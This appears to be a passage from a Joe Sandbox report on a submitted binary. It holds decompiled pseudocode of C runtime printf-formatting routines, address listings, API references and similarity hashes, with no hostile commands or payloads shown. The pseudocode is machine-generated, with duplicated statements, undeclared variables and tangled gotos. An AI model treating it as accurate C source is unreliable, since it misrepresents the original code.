																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xf2c8ae26
																							E00424550(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428360(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004283A0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428360(__ebp + 0x14);
																			if(E00433F00() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E210();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																				__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACB0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00434f8b
0x00434f8b
0x00434f8b
0x00434f8b
0x00434f8b
0x00434f8b
0x00434f8b
0x00434f8b
0x00000000
0x00434ffa
0x00000000
0x00434ffa
0x00000000
0x00434ffa
0x00434ffa
0x00435002
0x00435024
0x0043502a
0x0043504f
0x00435096
0x00435099
0x004350ba
0x004350bf
0x004350c4
0x004350ca
0x0043509b
0x0043509f
0x004350a4
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435057
0x00435079
0x0043507e
0x00435084
0x00435085
0x0043508b
0x00435059
0x0043505d
0x00435062
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x00435030
0x00435035
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435008
0x0043500d
0x00435010
0x00435016
0x00435016
0x004350d6
0x00435118
0x0043511e
0x0043512a
0x00000000
0x004350d8
0x004350d8
0x004350d8
0x004350df
0x00000000
0x004350ec
0x004350ec
0x004350fa
0x004350ff
0x00435105
0x00435113
0x00435130
0x00435138
0x0043515a
0x0043515a
0x00435164
0x00435175
0x0043517f
0x00435181
0x00435181
0x00435166
0x00435166
0x00435166
0x00435194
0x00435196
0x00435196
0x004351a0
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351b1
0x00000000
0x00000000
0x004351c1
0x004351c4
0x004351ce
0x004351dd
0x004351e6
0x004351fc
0x00435202
0x0043520f
0x0043521d
0x0043521d
0x0043522c
0x00435234
0x00435234
0x0043523c
0x00435242
0x0043524b
0x00435257
0x00435270
0x00435276
0x0043527f
0x0043527f
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00435282
0x00435282
0x00435286
0x0043546d
0x00435471
0x00435479
0x0043547e
0x00435481
0x00435481
0x00435488
0x00435488
0x0043455f
0x00434565
0x00434572
0x00434577
0x00000000
0x0043458a
0x00434594
0x004345bb
0x004345a2
0x004345b3
0x004345b3
0x00434594
0x004345c5
0x004345cb
0x004345d7
0x004345da
0x004345e8
0x004345eb
0x004345f8
0x0043469d
0x004346a3
0x004346b0
0x00000000
0x00000000
0x004346b6
0x004346bc
0x00000000
0x004346c3
0x004346c3
0x004346db
0x004346e0
0x004346e5
0x0043479f
0x004347b2
0x004347b7
0x00000000
0x004346eb
0x004346fe
0x00434703
0x00434709
0x0043470b
0x00434714
0x00434717
0x00434723
0x00434727
0x0043472d
0x0043472f
0x00434734
0x00434736
0x0043473b
0x00434740
0x00434742
0x00434747
0x0043474d
0x0043474f
0x0043474f
0x0043474d
0x00434750
0x00434757
0x00000000
0x00434759
0x0043475e
0x0043477a
0x00434782
0x0043478f
0x00434794
0x00000000
0x00434794
0x00434757
0x00000000
0x004347bf
0x004347bf
0x004347c6
0x004347c9
0x004347cc
0x004347cf
0x004347d2
0x004347d5
0x004347d8
0x004347df
0x004347e6
0x00000000
0x00000000
0x004347f2
0x004347f2
0x004347f9
0x00434805
0x00434808
0x00434815
0x00000000
0x00000000
0x00434817
0x00434817
0x0043481d
0x0043481d
0x00434824
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434867
0x00434867
0x00434871
0x0043489b
0x0043489e
0x004348a1
0x004348a8
0x004348a8
0x004348ac
0x00434873
0x00434873
0x0043487f
0x00434886
0x00434888
0x0043488b
0x0043488e
0x00434894
0x00434896
0x00434896
0x00434899
0x00000000
0x00000000
0x004348b4
0x004348b4
0x00000000
0x00000000
0x004348c0
0x004348c0
0x004348ca
0x004348ed
0x004348f7
0x004348f7
0x004348fb
0x004348cc
0x004348cc
0x004348d8
0x004348df
0x004348e1
0x004348e1
0x004348e8
0x00000000
0x00000000
0x00434903
0x00434903
0x0043490a
0x00434916
0x00434919
0x00434926
0x00434a39
0x00000000
0x00434a39
0x0043492c
0x0043492c
0x00434932
0x00434932
0x00434939
0x00000000
0x0043496f
0x0043496f
0x00434972
0x00434978
0x004349a0
0x004349a0
0x004349a3
0x004349a9
0x004349ce
0x004349ce
0x004349d1
0x004349d7
0x00434a10
0x00434a21
0x00000000
0x00434a21
0x004349d9
0x004349d9
0x004349dc
0x004349e2
0x00000000
0x00000000
0x004349e4
0x004349e4
0x004349e7
0x004349ed
0x00000000
0x00000000
0x004349ef
0x004349ef
0x004349f2
0x004349f8
0x00000000
0x00000000
0x004349fa
0x004349fa
0x004349fd
0x00434a03
0x00000000
0x00000000
0x00434a05
0x00434a05
0x00434a08
0x00434a0e
0x00434a12
0x00434a12
0x00000000
0x00434a12
0x00000000
0x00434a0e
0x004349ab
0x004349ab
0x004349ae
0x004349b5
0x00000000
0x00000000
0x004349b7
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x004349c9
0x00000000
0x004349c9
0x0043497a
0x0043497a
0x0043497d
0x00434984
0x00000000
0x00000000
0x00434986
0x00434989
0x0043498c
0x0043498f
0x00434992
0x00434998
0x00000000
0x00000000
0x00434a23
0x00434a26
0x00434a29
0x00000000
0x00000000
0x00434940
0x00434940
0x00434943
0x00434949
0x00434961
0x00434964
0x00434967
0x0043494b
0x0043494e
0x00434951
0x00434957
0x0043495c
0x0043495c
0x00000000
0x00000000
0x00434a2e
0x00434a31
0x00434a36
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434841
0x00434844
0x00434847
0x00000000
0x00000000
0x0043484c
0x0043484f
0x00434854
0x00000000
0x00000000
0x00434836
0x00434836
0x00434839
0x0043483c
0x00000000
0x00000000
0x0043482b
0x0043482e
0x00434831
0x00000000
0x00000000
0x00434859
0x00434859
0x0043485c
0x0043485f
0x00000000
0x00000000
0x00434862
0x00000000
0x00000000
0x004345fe
0x00434600
0x0043460e
0x00434602
0x00434602
0x00434602
0x00434618
0x0043461e
0x0043462b
0x0043462d
0x00434632
0x00434634
0x00434639
0x0043463e
0x00434640
0x00434645
0x0043464b
0x0043464d
0x0043464d
0x0043464b
0x0043464e
0x00434655
0x00000000
0x00434657
0x0043465c
0x00434678
0x00434680
0x0043468d
0x00434692
0x00435551
0x0043555e
0x0043555e
0x00434655
0x004345f8
0x0043548d
0x00435494
0x004354ab
0x0043549f
0x0043549f
0x0043549f
0x004354b5
0x004354bb
0x004354c8
0x004354ca
0x004354cf
0x004354d1
0x004354d6
0x004354db
0x004354dd
0x004354e2
0x004354e8
0x004354ea
0x004354ea
0x004354e8
0x004354f2
0x0043553d
0x00435546
0x0043554b
0x004354f4
0x004354f9
0x00435515
0x0043551d
0x0043552a
0x0043552f
0x0043552f
0x00000000
0x004354f2
0x0043528c
0x00435292
0x0043529c
0x004352b1
0x004352c6
0x004352c8
0x004352cc
0x004352cc
0x004352b3
0x004352b3
0x004352b7
0x004352b7
0x0043529e
0x0043529e
0x004352a2
0x004352a2
0x0043529c
0x004352dc
0x004352e8
0x004352fe
0x00435303
0x00435303
0x00435319
0x0043531e
0x00435327
0x00435345
0x0043534a
0x0043534a
0x00435351
0x00435425
0x00435438
0x0043543d
0x00000000
0x00435361
0x00435361
0x00435361
0x0043536e
0x00435377
0x0043537d
0x0043537d
0x0043538c
0x00435394
0x00000000
0x00000000
0x0043539a
0x004353a3
0x004353c2
0x004353c7
0x004353ca
0x004353d9
0x004353e6
0x004353f1
0x004353f1
0x00000000
0x004353fd
0x004353fd
0x00435416
0x0043541b
0x00000000
0x0043541b
0x004353e6
0x00435423
0x00435440
0x00435447
0x00435465
0x0043546a
0x0043546a
0x00000000
0x00435447
0x00434a3e
0x00434a3e
0x00434a45
0x00434a4b
0x00434a51
0x00434a54
0x00434a5a
0x00434a6d
0x00434a6d
0x00434a74
0x00000000
0x00434dce
0x00434dce
0x00434dd5
0x00434ddc
0x00434ddf
0x00000000
0x00000000
0x00434a7b
0x00434a7e
0x00434a84
0x00434a89
0x00434a8e
0x00434a8e
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bc3
0x00434bc8
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434f9b
0x00434f9b
0x00000000
0x00000000
0x00434b25
0x00434b25
0x00434b31
0x00434b3e
0x00434b4c
0x00434b4c
0x00434b52
0x00434b55
0x00434b61
0x00434bb6
0x00000000
0x00434bb6
0x00434b40
0x00434b40
0x00434b4a
0x00434b66
0x00434b69
0x00434b6f
0x00434b97
0x00434b9e
0x00434ba4
0x00434ba7
0x00434baa
0x00434bb0
0x00434bb3
0x00434b71
0x00434b71
0x00434b77
0x00434b7a
0x00434b7d
0x00434b83
0x00434b86
0x00434b89
0x00434b8b
0x00434b8e
0x00434b8e
0x00000000
0x00434b6f
0x00000000
0x00000000
0x00434de5
0x00434de8
0x00434deb
0x00434dee
0x00434df4
0x00434df7
0x00434e02
0x00434e0d
0x00434e11
0x00434e28
0x00434e2f
0x00434e31
0x00434e31
0x00434e38
0x00434e3f
0x00434e50
0x00434e5f
0x00434e66
0x00434e7c
0x00434e68
0x00434e68
0x00434e6b
0x00434e71
0x00434e77
0x00434e77
0x00434e66
0x00434e86
0x00434e89
0x00434e8c
0x00434e8f
0x00434e92
0x00434e95
0x00434e9b
0x00434ea1
0x00434ea9
0x00434eaa
0x00434ead
0x00434eae
0x00434eb1
0x00434eb2
0x00434eb9
0x00434eba
0x00434ebd
0x00434ebe
0x00434ec1
0x00434ec2
0x00434ec8
0x00434ec9
0x00434ed7
0x00434ed9
0x00434edf
0x00434ee5
0x00434eed
0x00434ef5
0x00434ef6
0x00434ef9
0x00434efa
0x00434f08
0x00434f0a
0x00434f0a
0x00434f0d
0x00434f17
0x00434f1c
0x00434f22
0x00434f24
0x00434f2c
0x00434f2d
0x00434f30
0x00434f31
0x00434f40
0x00434f42
0x00434f42
0x00434f22
0x00434f45
0x00434f48
0x00434f4e
0x00434f53
0x00434f59
0x00434f5f
0x00434f62
0x00434f62
0x00434f65
0x00434f71
0x00000000
0x00434f71
0x00434e13
0x00434e13
0x00434e1d
0x00000000
0x00000000
0x00434e1f
0x00434e1f
0x00000000
0x00434e1f
0x00434e04
0x00434e04
0x00000000
0x00000000
0x00434a91
0x00434a94
0x00434a9a
0x00434af5
0x00434afd
0x00434b04
0x00434b0a
0x00434b10
0x00434a9c
0x00434a9c
0x00434aa6
0x00434aaa
0x00434ab2
0x00434ab9
0x00434ac6
0x00434acd
0x00434ad9
0x00434ae6
0x00434ae8
0x00434ae8
0x00434aef
0x00434b17
0x00434b1d
0x00000000
0x00000000
0x00434f79
0x00434f7c
0x00434f7f
0x00434f82
0x00000000
0x00000000
0x00434cd7
0x00434cd7
0x00434ce3
0x00434cf0
0x00434d9a
0x00434d9d
0x00434da0
0x00434db4
0x00434dba
0x00434dc0
0x00434da2
0x00434da2
0x00434daf
0x00434daf
0x00434dc2
0x00000000
0x00434dc2
0x00434cf6
0x00434cf6
0x00434cf8
0x00434d06
0x00434cfa
0x00434cfa
0x00434cfa
0x00434d10
0x00434d16
0x00434d23
0x00434d25
0x00434d2a
0x00434d2c
0x00434d31
0x00434d36
0x00434d38
0x00434d3d
0x00434d43
0x00434d45
0x00434d45
0x00434d43
0x00434d4d
0x00434d95
0x00000000
0x00434d4f
0x00434d4f
0x00434d54
0x00434d70
0x00434d78
0x00434d82
0x00434d85
0x00434d8a
0x00000000
0x00434d8a
0x00000000
0x00434fdc
0x00434fdc
0x00434fe6
0x00434fec
0x00434ff1
0x00434ff7
0x00434ff7
0x00000000
0x00000000
0x00434f94
0x00434f94
0x00000000
0x00000000
0x00434bd1
0x00434bd5
0x00434be3
0x00434be6
0x00434bd7
0x00434bd7
0x00434bd7
0x00434bec
0x00434bf2
0x00434bf8
0x00434c04
0x00434c0a
0x00434c10
0x00434c77
0x00434c7b
0x00434c7d
0x00434c83
0x00434c83
0x00434c86
0x00434c89
0x00434c8f
0x00434c8f
0x00434c8f
0x00434c9b
0x00434c9e
0x00434ca6
0x00000000
0x00000000
0x00434ca8
0x00434ca8
0x00434cae
0x00434cb3
0x00000000
0x00000000
0x00434cb5
0x00434cbb
0x00434cbe
0x00434cbe
0x00434cc6
0x00434ccc
0x00434ccf
0x00000000
0x00434c12
0x00434c12
0x00434c16
0x00434c18
0x00434c1d
0x00434c1d
0x00434c20
0x00434c27
0x00434c2a
0x00434c30
0x00434c30
0x00434c30
0x00434c3c
0x00434c3f
0x00434c47
0x00000000
0x00000000
0x00434c49
0x00434c49
0x00434c4f
0x00434c54
0x00000000
0x00000000
0x00434c56
0x00434c5c
0x00434c5f
0x00434c5f
0x00434c67
0x00434c6d
0x00434c70
0x00434c72
0x00434cd2
0x00000000
0x00434cd2
0x00000000
0x00000000
0x00000000
0x00434fa7
0x00434fa7
0x00434fb1
0x00434fb1
0x00434fbb
0x00434fc1
0x00434fc3
0x00434fcd
0x00434fd0
0x00434fd3
0x00434fd3
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a74
0x00435282
0x00435282
0x00435282
0x00435282
0x00435282
0x00435282
0x00435282
0x004350df
0x004350d6
0x00434ffa
0x00434ffa
0x00434ffa

APIs

_get_int64_arg.LIBCMTD ref: 00435008
_get_int64_arg.LIBCMTD ref: 00435030
__aullrem.LIBCMT ref: 004351D5
__aulldiv.LIBCMT ref: 004351F7

Strings

9, xrefs: 00435208

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction ID: 319cb30677dba73cb83911104240464ffbf466600e79aaed1831d5252f9b01e2
Opcode Fuzzy Hash: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction Fuzzy Hash: 7D41D171D05A29DFEF24CF48CC99BAEB7B5BB48304F24919AD409A7240C7389E818F45

Uniqueness

Uniqueness Score: -1.00%

Function 00427BBC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00427BBC(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E00428360(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
												_t549 = E00428360(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E00428360(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E00428360(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E00428380(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E00428380(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E00430780(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E00430800( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C3D0( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404430) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404450) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M004280E8))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E00431210( *(_t666 - 0x251) & 0x000000ff, E0041ACE0(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E004281F0( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
